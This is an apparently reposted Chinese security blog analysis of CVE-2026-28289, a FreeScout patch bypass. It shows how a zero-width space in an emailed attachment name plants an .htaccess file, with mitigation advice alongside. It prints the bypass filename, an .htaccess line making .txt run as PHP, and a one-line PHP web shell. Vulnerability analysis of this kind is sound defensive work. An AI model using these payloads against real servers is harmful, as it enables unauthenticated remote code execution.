文章总结: 本文分析了FreeScout的CVE-2026-28289漏洞,该漏洞将原本的认证RCE升级为零点击未认证RCE。攻击原理利用Unicode零宽字符U+200B绕过补丁对文件名和扩展名的检测,结合Apache的.htaccess配置实现任意代码执行。文章详细阐述了攻击链、补丁绕过逻辑,并提供了升级版本、禁用.htaccess、限制上传目录执行权限等具体的缓解措施与安全加固建议。 综合评分: 95 文章分类: 漏洞分析,WEB安全,漏洞预警,渗透测试
“Mail2Shell”:FreeScout 零点击未认证 RCE(CVE‑2026‑28289)补丁绕过分析
haidragon haidragon
安全狗的自我修养
2026年3月12日 12:33 湖南
官网:http://securitytech.cc
Introduction(介绍)
最近,来自 OX Research 的研究人员披露了一个影响开源工单系统 FreeScout 的严重漏洞。该漏洞将一个原本需要认证的远程代码执行漏洞升级为 “零点击未认证远程代码执行(Zero‑Click Unauthenticated RCE)”。
该漏洞编号为:CVE-2026-28289
攻击者只需 发送一封特制的电子邮件,就可以在服务器上执行任意命令。
特点:
- ❌ 不需要身份认证
- ❌ 不需要用户点击
- ❌ 不需要任何交互
漏洞影响:
- FreeScout ≤ 1.8.206
修复版本:
- FreeScout 1.8.207
这项研究也说明了漏洞修复中的一个重要现实:
补丁发布并不代表风险消失。攻击者往往会在补丁公开后的几个小时内分析补丁并寻找绕过方法。
FreeScout 架构理解
FreeScout 是一个 基于 Laravel 的自托管 Help Desk 系统,企业常用它来管理:
- 客服工单
- 共享邮箱
- 客户支持请求
典型部署架构:
1. Internet
2. ↓
3. MailServer(IMAP / POP3)
4. ↓
5. FreeScoutMailFetcher
6. ↓
7. AttachmentProcessing
8. ↓
9. 存储到/storage/attachments/
10. ↓
11. 通过Web界面访问
FreeScout 会 定期轮询配置的邮箱,并自动导入:
- 邮件内容
- 邮件附件
这种 自动处理邮件附件的机制,正是本次漏洞的核心攻击面。
原始漏洞(旧版本 — 需要认证的 RCE)
早期研究已经发现了一个 需要登录权限的远程代码执行漏洞。
攻击链如下:
1. 已认证用户
2. ↓
3. 上传恶意附件
4. ↓
5. 文件存储到服务器
6. ↓
7. WebServer执行文件
8. ↓
9. 远程代码执行
随后,FreeScout 官方发布补丁,试图通过 校验文件名与扩展名 来阻止恶意文件上传。
安全补丁逻辑
补丁在文件处理 helper 中加入了扩展名检测。
示例代码:
1. $ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
然后检测危险扩展名:
1. if(preg_match('/('.implode('|',self::$restricted_extensions).')/', $ext)){
2. $file_name = $file_name.'_';
3. }
危险扩展名包括:
1. php
2. phtml
3. phar
如果检测到:
1. shell.php
系统会改名为:
1. shell.php_
这样 Web Server 就不会直接执行它。
同时阻止 Dotfile
补丁还尝试阻止 dotfile。
例如:
1. .htaccess
2. .user.ini
这些文件非常危险,因为它们可以 修改 Web Server 行为。
补丁绕过(Patch Bypass)
在分析补丁时,OX Research 发现可以利用 Unicode 字符绕过验证。
绕过字符:
1. Zero‑WidthSpace
2. Unicode U+200B
这个字符:
- 在视觉上 不可见
- 但在字符串中 真实存在
恶意文件名示例
攻击文件名:
1. [U+200B].htaccess
视觉效果:
1. .htaccess
实际内容:
1. \u200b.htaccess
为什么验证失败
补丁使用以下代码判断文件是否以 . 开头:
1. mb_substr($file_name,0,1)=='.'
但是恶意文件名的 第一个字符是:
1. U+200B
因此系统看到的是:
1. 文件名以Unicode字符开头
而不是:
1. 文件名以"."
所以验证被绕过。
后续处理阶段删除 Unicode
在文件处理流程的后面阶段,系统会移除 Unicode 格式字符。
代码:
1. $file_name = preg_replace("#\p{Cf}+#u",'', $file_name);
该逻辑会删除:
1. U+200B
因此文件名变成:
1. \u200b.htaccess
变为:
1. .htaccess
最终结果:
✔ 成功在磁盘上写入 真实 .htaccess 文件
绕过了之前的安全检查。
完整利用流程
攻击需要两个文件:
1. .htaccess
2. webshell.txt
Step 1:上传恶意 .htaccess
攻击者发送邮件附件:
1. \u200b.htaccess
内容示例:
1. AddType application/x-httpd-php .txt
作用:
让 Apache 将 .txt 文件当作 PHP 执行
Step 2:上传 WebShell
第二个附件:
1. webshell.txt
内容:
1. PHP WebShell
例如:
1. <?php system($_GET['cmd']);?>
当通过浏览器访问:
1. https://target/storage/attachments/webshell.txt
服务器就会执行:
1. cmd=whoami
从而实现 远程命令执行。
推荐缓解措施
组织应 立即升级到:
1. FreeScout≥1.8.207
同时建议进行以下安全加固。
1 禁用 .htaccess
Apache 配置:
1. AllowOverrideNone
2 禁止上传目录执行脚本
例如:
1. php_admin_flag engine off
3 附件存储在 Web Root 外
不要使用:
1. /var/www/html/storage
应该使用:
1. /var/data/uploads
4 监控异常文件
安全团队应重点关注:
1. .htaccess
2. *.php
3. *.phtml
特别是在附件目录中。
漏洞修复中的经验教训
该漏洞体现了一个常见问题:
1. 发布补丁
2. ↓
3. 研究人员 diff 补丁
4. ↓
5. 发现新变种
6. ↓
7. 补丁被绕过
攻击者通常会在补丁发布后 立即分析代码差异。
如果:
- 输入验证不完整
- 清理顺序错误
就可能被绕过。
总结
CVE-2026-28289 展示了漏洞如何在披露后迅速演变。
原本:
1. 需要认证
升级为:
1. Zero‑Click未认证 RCE
攻击面大幅扩大。
所有运行 FreeScout 的组织应:
- 立即更新
- 加固上传目录
- 审计邮件附件处理流程
同时,安全团队需要认识到:
仅仅打补丁是不够的,必须理解漏洞产生的根本机制。
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《“Mail2Shell”:FreeScout 零点击未认证 RCE(CVE‑2026‑28289)补丁绕过分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论